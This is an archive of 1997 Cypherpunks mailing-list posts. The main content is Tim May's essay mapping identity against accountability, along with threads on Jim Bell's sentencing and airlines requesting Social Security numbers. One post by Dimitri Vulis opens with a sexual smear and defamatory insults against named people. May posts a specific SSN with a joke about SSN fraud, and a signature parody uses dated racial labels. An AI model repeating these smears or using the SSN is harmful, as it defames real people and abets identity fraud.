Message-ID: <v03102804b0ba20d71bf6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




[Note: This is a two-part article I posted to the "Nym" list. I'm posting
it here as well, but not in a "cross-post" form, because it obviously
touches on many themes of interest to Cypherpunks. Declan M. has created
this new list to discuss anonymity and pseudonyms. It is, predictably,
largely duplicative of discussions on the Cypherpunks and other lists, but
Declan and others feel it is needed. It is not necessarily open to all, to
reduce the number of insults, ASCII art posts, drunken ramblings (mine
excepted), and off-topic spams and such,  so don't ask _me_ for
instructions on how to subscribe to it. Declan may send you instructions if
he wants to, of course.]

[The second part will follow this part]

There are many swirling notions of anonymity here, and a bunch of what I
think are misconceptions about the link between anonymous systems and
"accountability."

Some here believe accountability (which I'll define and discuss in more
detail below) is important enough to take precedence over a "right to
anonymity." I think this is confusing some important issues.

First some observations:

* The norm in most interactions is a very loose amount of formal checks of
identity credentials. Most of us never actually check the credentials of
our friends and associates. Most commercial transactions, and most travels,
involve no identity credentials whatsoever. (A point nicely make my Marc
Rotenberg today.)

* However, as we have repeated dealings with people, on lists or in person,
we begin to establish a "sense of identity" for those persons, a repeated
history. This has nothing _formally_ to do with identity credentials, but
much to do with _expectations_ about the future. Thus, in my several years
of dealing with "Black Unicorn" I have come to view him (or her, or it) as
a persistent personna. Whether or not he truly is one person, and whether I
know his (alleged) True Name, is largely unimportant.

* It is very important that even we non-lawyers keep in mind what a
_contract_ is. A contract is an offer, and an acceptance. Whether a True
Name is part of the offer, by any of the parties, is unimportant. (In terms
of enforceability of the contract, in terms of going after parties who fail
to meet the terms of a contract, some measure of identity may of course
help accountability. But this is epiphenomenol to the basics of the
contract...it's just a matter of convenience.)

* Hence the view many of us have that if Alice and Bob interact, they may
or may not use fake names, nicknames, handles, putative True Names, or even
DNA-verified biological markers. Their call.

* In cases where accountability is Very Important, as in purchases of large
ticket items, the usual method is to use strict title search companies,
specialists in tracking actual records. Title companies, in other words.
(And, even then, proofs of identity are less extreme than many
anti-anonymity advocates might think. In the purchase of three homes, I've
only had to "flash" my state-issued I.D. card. In fact, it was a driver's
license, hardly designed as an actual proof of identity. Of course, there
are certain ontological assumptions about identity in such large-ticket
purchases, such as that I.D. is backed up by other things, including
possession of a title deed.)

* The main question that involves Washington (or other lawmakers) is this:
Under what circumstances may the state compell identity to be produced?

I happen to agree with several on this list, including E. Volokh and
(actually) D Brin, that there are cases where identity can be compelled.
Even if it only means a _sworn statement_ (as in "making an X" on a
statement written by others). Applying for a passport, appearing before
court, perhaps driving on the public roads.

But note that there absolutely is no requirement in the United States for a
general form of identification. Non-drivers need not have any form of I.D.
And as we have seen in court cases, a la Lawson v. Kolender (where a black
man in dreadlocks used to like to walk the streets of San Diego...the cops
stopped him many times and jailed him for not having I.D. on him...the
court ruled that people don't have to present credentials issued by the
state to walk the public streets).

* Therefore, the issue is not of a "right to anonymity," which would
probably be as nebulous to debate as the "right to privacy" (which Bork
probably was correct in saying cannot be found in the Constitution), but,
rather, the issue of when the State may compell identity. To put it in the
blunt terms we libertarians find useful: "When can men with guns tell us we
have to produce a piece of paper with our pictures on it that they find
acceptable?"

Possibly for the situations I mentioned above. But maybe not even in all of
those situations. (Next time I am called for jury duty, and my last time
was in 1973, I plan to take no state-issued I.D. junk with me...I will
_tell_ them who I am and leave it at that.)

* In ordinary interactions and in commercial transactions (modulo gun
purchases and a few other similar areas), identity cannot be compelled.
Alice is free to ask Bob for his name, or his blood type, or anything else
she chooses (modulo questions banned by the Civil Rights Act, disgustingly
enough), and either is free to cancel the interaction or transaction as
they wish. Contracts again: an offer made and an acceptance.

* Now if Alice wishes to _extend credit_ to Bob, or take his promise to pay
via a check or some other "delayed clearing" instruement, she is free to
request various things that will satisfy her that she can later track down
Bob and collect from him.

Importantly, this is not a _state_ function. This is still a matter of
contract. Bob is of course free to refuse to give his name and to cancel
the transaction.

* It's a fact that most vendors (Alice) are less interested in acquiring
market research data by getting True Names than they are in selling stuff.
Hence, most merchants don't care about True Names. And for online clearing
(instant clearing, as with cash or guaranteed payments sytems), names
really don't matter. Even Radio Shack, which makes a big point of asking
for names and addresses, will gladly make a sale to those who refuse to go
along.

* There are cases where this normal "Alice doesn't care about names"
situation is distorted by other considerations. Recently, airlines have
been instructed by the FAA to do a credential check...they are happy enough
to comply, as it cuts down on the practice of companies buying advance
tickets in bulk and then deciding later who will actually use the tickets.
(I believe the pre-FAA ruling situation, where airlines didn't bother to
check I.D.s to be a good indicator of what free market forces would produce
absent such an FAA rule.)

Certain large-ticket purchases may no longer be made in cash. Part of this
is the move to control money-laundering and smurfing, and the "structuring"
laws. Black Unicorn has an amusing story of trying to buy a car in suburban
Washington, with cash (or a cashier's check, I forget which), and having
law enforcment arrive a short time later and hold him for questioning....

Likewise, it's becoming more common for motels and hotels to demand photo
I.D. Some even refuse to accept cash without a credit card (which we know
is not an actual I.D., but it sort of acts as one). I'm not sure what all
the reasons for this are. Here are some, briefly: fear of being stung by
someone who trashes the room, concern about being charged with enabling
prostitution, pressure from regulatory boards (who may be pressured by law
enforcement), or perhaps just the general attitude that "I.D. is required."

(As I've said, this attitude hasn't filtered down to ordinary daily
transactions.)

So, identity is not the same as accountability (though there are some
correlations). And lack of identity does not mean criminality. And most
importantly, most cases where some proof of identity is requested don't
need any state involvement in what are private transactions or contracts.
Lastly, there is no "is-a-person" (in the cryptographic sense)
credentialling system in the U.S.


In Part II of this post, I'll combine these various points, made somewhat
anecdotally here, into a more graphical form.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Dec 1997 09:02:28 +0800
To: cypherpunks@Algebra.COM
Subject: Identity, Persistence, Anonymity, and Accountability--Part II ofII
Message-ID: <v03102805b0ba22c79077@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain





As promised, here is Part II, with a more graphical analysis of the issues
of identity, anonymity, traceability, accountability, and the correlations
between them.

Consider two principles axes:

-- identity

-- accountability


A "0" on the identity axis means a complete lack of any identity, with no
assurance whatsoever in the nickname, casual name, and certainly not in the
True Name, of an entity. The canonical "Anonymous," with not even any clues
as to identity.

A "1" on the identity axis means a complete certainty as to whom someone
is, with extensive credentials, perhaps even voiceprint, blood tests, etc.
An appearance by Bill Clinton probably rates a "0.999" on this scale, as
various input vectors are summed...most of my posts might be rated at
"0.95," and so on.

There are some meta-issues about what true names really are. Was Bill
Clinton switched at birth? Did the Trilateral Commission actually kill the
real Bill Clinton when he was at Oxford and replace him with a KGB
lookalike? Do his footprints match that on the birth certificate on file in
the Arkansas hospital? Is that stuff even what we mean by "that guy is Bill
Clinton"?

I won't get into these meta-issues here, but they are eventual
boundary-value problems for any "is-a-person" formal system.

On the "accountability" axis, a "0" means an entity cannot be held
accountable. Cannot be reached, cannot be hauled into court, etc. This
could be because the entity is outside a jurisdiction. Marc Rich, resident
of Zug, Switizerland, is about a "0.1" on the accoutability scale.

A "1" obviously represents full accountability.

Clearly it is possible for someone to be high on the identity scale (like
Marc Rich), but low on the accountability scale. Or, more interestingly, it
is possible for a participant in a transaction to be essentially anonymous,
but very accountable. This is what digital cash and anonymous escrow
systems provide.

Chaum's "credentials without identity" makes this clear. It is possible to
present some credential for some property, such as age, without identity.
(An easy to see example being admissions to bars...as ID scanning
technology spreads, we would like to see methods for checking an age
credential without also creating a computer record of all bars visited,
number of drinks consumed, etc.)

(Crime and illegal markets often work this way, too. That is, with identity
not necessarily known ("Vinnie the Nose"), but with other mechanisms for
ensuring accountability. The usual, but important, stuff about reputation
capital. Ditto for primitve markets, with goods left in
clearings...absolutely no "identity," but various mechanisms for
enforcement of trading protocols (including "no future business if you
screw me," which is how many markets have worked, a la the Law Merchant for
international trade, which evovled into the Uniform Commercial Code.)

OK, here's a diagram. Notice that the central diagonal, the "main sequence"
( a la Hertzsprung-Russell diagrams) is the correlation between "identity"
and "accountability." To those who argue that accountability IS identity,
this is there line. But there are many other place in this space.

For ease (to me) in making this diagram, I've had to just use letters, with
the legend below the diagram.

		^ CASH				TOTAL
	      1	| CHAUM
		| ESCROW
	^	|				BRIN
	|	|		DIGNYM
	|	|             CORP
Accountability	|
		|
		|				MRICH
		|
		|  ANON
	        0	|_  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _  _

		0					1
				Identity -->

CASH = immediate clearing, but no identity

CHAUM = Chaumian "credentials without identity" (in many forms)

ESCROW = leaving a deposit, or linking to another payer
 (an anonymous VISA card, with a deposit, works this way. Or a corporate
account, card, etc., where the company backs the transaction, but identity
of the participant is unknown, or poorly known)

BRIN = David Brin's "accountability means identity" mapping (no doubt there
are nuances to his view, but I believe this fairly characterizes the
position he has described here recently)

TOTAL = The total state. Eveyone in their place, every transaction logged,
everyone held accountable by the State

DIGNYM = Digital pseudonyms, or signed messages. Identity may be variable,
from almost completely anonymous (e.g., Pr0duct Cypher) to known to some
(e.g., Black Unicorn). Accountability also varies, depending on factors
like jurisdiction.

CORP = corporate, or collective, accounts, where identity of actual
participants is poorly known, but accountability is high

MRICH = identity known to high certainty, but "judgment proof" (note that
this applies to many other persons, such as poor persons, who may say all
kinds of libelous or actionable things, but who are not worth going after)

ANON = the canonical "anonymous" message, with no identity, no accountability.

Of course, there are many other examples. And each examples has "scatter."
Each is a "blob," not just a point. And they can move around, as laws
change. (For example, Marc Rich could quickly become "accountable" were
Switzerland to change its laws about extradition.)

The structure of this identity-accountability space is itself interesting,
with peaks and valleys (suggesting a third axis, that of "cost" to live in
these spaces....).

And so on. I hope this helps clarify for you some of my thinking on these
issues.

i find that simplistic arguments, whether, "accountability requires
identity," or "anonymity is a basic right," are not very helpful.

There are clearly times when participants in a voluntary transaction want
some kind of "identity credential" (especially to the extent they think
identity = accountability). There may even be times when the State has a
legitimate interest in compelling identity (though many of us would quibble
with most such demands, and look for ways to satisfy these "is-a-person"
needs less invasively than by requiring national I.D. cards and tattooes on
forearms).

Again, I hope this has helped.

--Tim May




Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 15 Dec 1997 07:09:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <1.5.4.32.19971214230552.00b94800@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:

A pretty convincing manifesto, as far as Constitution-thumping 
goes.

And then, empowered by righteousness, fire-and-brimstoned:

>You sir, don't have one whit of morality, ethics, or empathy.
>Let alone any sort of sense of justice or liberty.
>
>I hope your happy licking the hands of your keepers.

Damn tooting, Jim, my babe is sweetest licking and being his
love slave is a pleasure. And for it, I eagerly forego morality,
ethics, empathy, justice and liberty along with constitutional and
biblical protection. Babe's my blackhearted PO, with two years 
to release.

Damn, Jim, have you never lost it all where every which 
way was up?

If not, then you don't know shit about Jim's situation, or mine,
sweetheart, and whose balls you'll lick to get back to zero, not even 
hoping you'll get back to where you were before insane vanity took 
you and those who trusted you over the edge to irreversible loss 
and despair.

Sorry to say that "Constitutional protections" might do that to you,
Jim, for they are sometimes finger-licking nose-candy, bad shit 
that's pushed by a nasty gang of predators as morality, ethics, 
empathy, justice and liberty along with biblical protection. They, 
and other holy writs, have got a lot of innocents wasted for addictive 
righteousness of hustlers who use perfect grammar to hide evil.

Just kidding, son, you're okay, don't EMR me. Zap my literary 
inchoate.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sphantom <shadow@tfs.net>
Date: Mon, 15 Dec 1997 08:46:35 +0800
To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Subject: Re: Airlines demanding SS #'s???
In-Reply-To: <jWxmhx1zI/3+gvADqWgrpA==@bureau42.ml.org>
Message-ID: <34947C05.71BDF29C@tfs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 14 Dec 1997 at 08:12:31 -0600 Human Gus-Peter wrote:

>   The government misuses my Social Security Number to steal
> my money. Where do I press charges? Can I place airline
> employees under citizen's arrest when they demand it?

Excuse ME? When did THIS begin?

No shit. It is right on my Social Security card, ' Not for
Identification'.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 15 Dec 1997 10:53:29 +0800
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fw: Jim Bell Sentenced (fwd)
In-Reply-To: <01bd08f4$f74aaa70$06060606@russell>
Message-ID: <3.0.2.32.19971214184636.006cdb10@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:01 PM 12/14/97 -0500, Phillip M. Hallam-Baker wrote:
>>>FC folk may find this interesting. What Jim Bell was charged
>>>with and admitted was planning and executing attacks on the
>>>IRS.
>>
>>No, that's not correct. He was charged with (and plead guilty to)
>>obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security
>>number (42 USC 408). The "attack" he admitted to executing consisted of
>>applying a stinky chemical to the doormat of an IRS office. (see
>><http://jya.com/jimbell-dock4.htm> for more.)
>
>Actually I was entirely correct. He had already executed a
>non-lethal attack and there was considerable evidence to
>suggest he was planning something more lethal in future.

I think your term "non-lethal attack" is poorly chosen - there are any
number of behaviors which can be characterized as such. Lots of people do
lots of non-lethal things every day. (In fact, some might express a
preference in favor of the non-lethal attacks.)

It's also easy to interpret the data we've got as suggesting that Jim liked
to talk big and take small actions - he certainly had the tools and the
information required to carry out a "lethal attack" were he inclined to do
so. But he didn't.

>>>His 'Assasination Politics' essay was used to demonstrate
>>>motive (amongst other things).
>>
>>That doesn't make any sense - it could conceivably have been introduced to
>>demonstrate intent, or state of mind .. but not motive, at least in the
>
>Read the essay, he quite clearly states his reason for wanting 
>to see IRS agents murdered.

It might have been interesting evidence, had Jim been charged with the
murder of an IRS agent. Perhaps you can point to one of his essays in which
he discusses the use of stinkbombs? 

Even so, I think there's a strong possibility that the essay(s) would have
been inadmissible, had there been a trial. And the interesting question
with respect to the essays is not whether or not they demonstrated an
antipathy towards the IRS, but whether or not they can be legitimately
considered by any of the judicial/administrative bodies charged with
deciding Jim's fate. 
  
>>But it's misleading to say that the essay was used to "demonstrate"
>>anything, as it was never introduced into evidence - there was no trial.
>
>He plead guilty, to lesser charges. That does not mean he gets
>the benefit of the doubt.

He did not plead to "lesser charges", he plead guilty to both charges which
were brought against him.

And there's no "doubt" here at all - the government charged him with the
crimes they thought they could prove against him at trial, Jim and his
attorney agreed with that assessment, and was sentenced. Handwaving about
evidence which wasn't introduced to show "motive" for crimes he wasn't
charged with isn't helpful.

>He was clearly a loon and quite probably would have killed 
>someone sooner or later. 

Does that matter? Do you think that we can/should restrict the freedom of
the many, many harmless loons because of the much smaller percentage of
loons who go on to do awful things? And who decides who's a loon? I'm sure
that both you and I fit some people's definitions of loons. Will we lose
our rights, to speak, to own firearms, etc? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Mon, 15 Dec 1997 09:07:05 +0800
To: <gbroiles@netbox.com>
Subject: Re: Fw: Jim Bell Sentenced (fwd)
Message-ID: <01bd08f4$f74aaa70$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain






>Phillip M. Hallam-Baker <hallam@ai.mit.edu> wrote:
>
>>FC folk may find this interesting. What Jim Bell was charged
>>with and admitted was planning and executing attacks on the
>>IRS.
>
>No, that's not correct. He was charged with (and plead guilty to)
>obstructing an IRS agent (26 USC 7212(a)) and misuse of a Social Security
>number (42 USC 408). The "attack" he admitted to executing consisted of
>applying a stinky chemical to the doormat of an IRS office. (see
><http://jya.com/jimbell-dock4.htm> for more.)


Actually I was entirely correct. He had already executed a
non-lethal attack and there was considerable evidence to
suggest he was planning something more lethal in future.


>>His 'Assasination Politics' essay was used to demonstrate
>>motive (amongst other things).
>
>That doesn't make any sense - it could conceivably have been introduced to
>demonstrate intent, or state of mind .. but not motive, at least in the

Read the essay, he quite clearly states his reason for wanting 
to see IRS agents murdered. 


>But it's misleading to say that the essay was used to "demonstrate"
>anything, as it was never introduced into evidence - there was no trial.

He plead guilty, to lesser charges. That does not mean he gets
the benefit of the doubt.

He was clearly a loon and quite probably would have killed 
someone sooner or later. 


            Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 15 Dec 1997 09:24:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: IRS intimidation of Cypherpunks
Message-ID: <1.5.4.32.19971215012340.00ba2404@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



bureau42 Anonymous Remailer wrote:

>would anyone be kind enough
>to provide pointers to information about incidents of c-p
>list members having received unsolicited email from .gov?

See the IRS spam at:

   http://jya.com/irs-spam.htm

And the 7 headers of 19 spams, titled "Death to Tyrants" and 
"Something of Interest" sent to various persons at:

   http://jya.com/irs-header.txt

I recall that Declan offered to ask IRS about the spam,
but do not recall if he was successful.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Mon, 15 Dec 1997 12:51:09 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <19971215043854.4624.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain




When posted MISTY algorithm source code, 
I hadn't read "A Cypherpunk's Manifesto" yet. 
Such a fee was set up as a result. 



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Mon, 15 Dec 1997 10:55:44 +0800
To: cypherpunks@cyberpass.net
Subject: All Children Work in Sweatshops
Message-ID: <199712150249.UAA07993@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



One of the interesting things about the child porn crusades is the
terminology manipulation employed to officially describe more and more
innocuous things as officially being "child porn," and by inference,
describing those who object the slightest bit to the government's
violation of the First Ammendment as "child porn supporters." 
 
Now the wonders of government terminology have been applied to a new
problem, the "scourge" of child labor.  While an historical review will
clearly demonstrate that laws preventing minors from working and earning a
living had their origins in times when adult unemployment was high, and
were heavily pushed by the public school teachers labor unions and
immigrant parents outraged that their children had an opportunity for
financial independence, the myth that such laws exist to "protect
children" instead of to economically and politically disempower them
persist. 
 
Enter the current crusade, being heavily trumpeted by the media, to rescue
children from "sweatshops." 
 
What is a sweatshop, you may ask? 
 
According to the official definition, a "sweatshop" is a workplace that
engages in repeated labor violations involving wages, hours worked, or the
age of its employees. 
 
So by the magic of government definitions, all unlawfully employed minors
automatically work in "sweatshops," by virtue of their being illegally
employed. 
 
All people arguing for the right of minors to work of course "support
sweatshops," and all consumers and stores who buy goods produced by these
illegally employed minors are purchasing "goods produced by children
working in sweatshops." 
 
290,200 children are alleged to have been employed illegally last year,
(in sweatshops of course). 
 
And woe to anyone who doesn't support the call to liberate these children
from their paychecks. (er, sweatshops) 

The US is now attempting to export its crusade against so-called "child
labor" to third world nations, citing of course only the most egregious
examples in the case histories it presents.  The US still refuses to sign
the UN Convention on the Rights of the Child because it prohibits the
execution of minors, which many US states permit, and guarantees minors
access to reproductive health information.

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 15 Dec 1997 10:56:46 +0800
To: cypherpunks@toad.com
Subject: Who's afraid of an uncensored forum? Good riddance to forger Declan
In-Reply-To: <v03102804b0ba20d71bf6@[207.167.93.63]>
Message-ID: <qPDqHe12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tiny Timmy May <tcmay@got.net> read alt.binaries.pictures.erotica.little-boys
and stroked his little limp penis until the following came out:
>
> [Note: This is a two-part article I posted to the "Nym" list. I'm posting
> it here as well, but not in a "cross-post" form, because it obviously
> touches on many themes of interest to Cypherpunks. Declan M. has created
> this new list to discuss anonymity and pseudonyms. It is, predictably,
> largely duplicative of discussions on the Cypherpunks and other lists, but
> Declan and others feel it is needed. It is not necessarily open to all, to
> reduce the number of insults, ASCII art posts, drunken ramblings (mine
> excepted), and off-topic spams and such,  so don't ask _me_ for
> instructions on how to subscribe to it. Declan may send you instructions if
> he wants to, of course.]
[some bullshit snipped unread]

The reason why Declan felt compelled to "run away" from the unmoderated
cypherpunks list is obvious.  You may recall that some months ago
Declan publushed a very negative "expose" of myself in Netly news, and
in it he forged nunmerous quotes from me.  The words Declan attributed
to me in his "expose" were directly opposite of what I told him in my
phone interview and were intended to make me look like an idiot. I've
repeatedly called Declan a liar and a forger on this forum, the last
time just recently. Apparently Declan doesn't like being exposed as the
liar and a forger that he is. :-) He's rather hide out on a censored
forum, where he can suppress the opinions he doesn't like.  Tiny Tim is
happy to bend over and let Declan (or Sandy or any other self-appointed
censor) decide which of Timmy's rants are worth publishing.

You may recall that Declan has another censored mailing list, which he
ironicalled called "fight-censrship". That list is frequented by another
"journalist" whom Declan describes as his "friend" - the pathological
liar Charlie Platt, a psychipath who should be confined to an insane
asylum (and fired from his lab job at New School for his racist hate
speech).  Charlie Platt's been using the "fight-censorship" list to
publish lies about me, and Declan wouldn't let me reply in the same forum
that Platt's claims about me are lies.

I'm not the only victim of Declan's lies and forgeries. E.g., the Center for
Deomcracy in Technology (CDT) complained to Declan's employer, Time Warner,
about Declan's lies, forgeries, and misrepresentations of CDT's position.

Tiny Tim and Declan were long-time supporters of John Gilmore's censorship
of this list and of C2net's/Sandy Sandfart's "moderation experiment". If they
want to get the hell off of Cypherpunks yet another censored mailing list,
but only comment is "good riddance to bad writers".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Mon, 15 Dec 1997 13:04:23 +0800
To: sphantom <shadow@tfs.net>
Subject: Re: Airlines demanding SS #'s???
In-Reply-To: <jWxmhx1zI/3+gvADqWgrpA==@bureau42.ml.org>
Message-ID: <3.0.3.32.19971214205511.02f4e5ac@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:38 PM 12/14/1997 -0600, sphantom wrote:
>>   The government misuses my Social Security Number to steal
>> my money. Where do I press charges? Can I place airline
>> employees under citizen's arrest when they demand it?
>
>Excuse ME? When did THIS begin?
>
>No shit. It is right on my Social Security card, 
> ' Not for Identification'.

That doesn't mean "Nobody's allowed to use this for identification."
It means "The Social Security Administration doesn't claim that
this card is useful for identification so don't blame them if
the person using it isn't who the card says they are."

The only people you can press charges on are government employees
asking you for SSN information in ways that violate the 
Privacy Act of 197x, which has been amended several times to 
water it down, and while the employees can theoretically be
fined for violating it, your chances of collecting are near zero.


				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Dec 1997 13:13:01 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Identity, Persistence, Anonymity, and Accountability--Part Iof II
In-Reply-To: <v03102804b0ba20d71bf6@[207.167.93.63]>
Message-ID: <v03102800b0ba5b85ccf7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:13 PM -0700 12/14/97, Brad Dolan wrote:
>Sounds like a good way to sap some of the energy from the cp list.
>
>Thanks for letting us know.
>
>bd
>one of the unwashed

 I agree that it siphons off energy, but then so have Coderpunks,
Cryptography, Fight-Censorship, e$pam (or whatever Hettinga's lists are
called), and various other lists.

List proliferation is a fact of life. And each new list thinks it will
avoid the problems of the past.

(I joined another list recently, a list designed to not repeat the problems
seen on the Extropians list. Well, sure enough, it's "more Extropian than
the Extropians list." Sad.)

Declan decided that rebroadcasting articles out of Nym would not be
allowed, but he said nothing about not mentioning its existence. (Nor would
I have agreed to be on a list whose very existence I could not disclose.)
Anyway, tonight when I mentioned its existence as I was posting an article
here that I wrote for the Nym list, I half-expected some comments from
Dimitri.

But I didn't expect someone to post the subscription instructions
(anonymously, of course). Hint: it wasn't I.

Anyway, I suppose that by mid-morning tomorrow Declan is going to have to
decide how to deal with subscriptions by Vulis, Human Gus-Peter, Toto, and
all the others.

I'm glad I'm not responsible for such things.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 15 Dec 1997 13:29:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Airlines demanding SS #'s???
In-Reply-To: <34947C05.71BDF29C@tfs.net>
Message-ID: <v03102801b0ba61151b92@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:55 PM -0700 12/14/97, Bill Stewart wrote:

>The only people you can press charges on are government employees
>asking you for SSN information in ways that violate the
>Privacy Act of 197x, which has been amended several times to
>water it down, and while the employees can theoretically be
>fined for violating it, your chances of collecting are near zero.

The driver's license cops won't issue a license without a SSN. The bank
won't do business without someone with an SSN. Even my gun range wants my
SSN.

But I have a new SSN to give them:    539-60-5125

Of course, don't try this at home. SSN fraud may land you in prison for a
year, while murderers get seven months in prison. And while double
murderers have to sell their houses in Brentwood.

Only in Amerika, where the lunatics run the asylum.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: The Sheriff <sheriff@speakeasy.org>
Date: Sun, 14 Dec 1997 10:44:51 +0800
To: cypherpunks@toad.com
Subject: replay.com
Message-ID: <l03020900b0ba3826dd8d@[209.130.131.50]>
MIME-Version: 1.0
Content-Type: text/plain



Greets, kiddies!  Quick question.  Has anything constructive come
out of nobody@replay.com in the past month?  I've just signed on
with this mailing list, and all I ever read from that anon addy is
a flame regarding one person or another.

Personally, unless at least a couple folks using replay.com have
pitched in usefull information in the past while, I'm irate enough
to open up my .kill file.

Thanks for your help,
The Sheriff.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Mon, 15 Dec 1997 05:59:39 +0800
To: cypherpunks@toad.com
Subject: Airlines demanding SS #'s???
Message-ID: <jWxmhx1zI/3+gvADqWgrpA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



